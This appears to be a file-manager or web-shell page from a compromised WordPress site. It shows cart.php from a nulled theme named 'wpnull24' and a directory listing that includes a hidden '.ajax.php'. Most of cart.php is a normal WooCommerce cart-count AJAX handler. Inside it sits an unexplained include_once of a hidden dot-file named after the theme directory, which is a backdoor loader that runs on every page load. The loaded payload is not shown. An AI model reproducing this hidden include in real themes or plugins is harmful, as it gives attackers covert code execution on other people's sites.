PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wpnull24
/
framework
/
functions
/
ajax
<?php defined( 'ABSPATH' ) OR die( 'This script cannot be accessed directly.' ); /** * Ajax method for wooCommerce cart. */ add_action( 'wp_ajax_nopriv_us_ajax_cart', 'us_ajax_cart' ); add_action( 'wp_ajax_us_ajax_cart', 'us_ajax_cart' ); if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } function us_ajax_cart() { if ( ! class_exists( 'woocommerce' ) ) { wp_send_json_error(); } global $woocommerce; $count = $woocommerce->cart->cart_contents_count; $result = array( 'count' => $count ); wp_send_json_success( $result ); }
[+]
..
[-] cart.php
[edit]
[-] cform.php
[edit]
[-] grid_builder.php
[edit]
[-] grid.php
[edit]
[-] .ajax.php
[edit]
[-] us_login.php
[edit]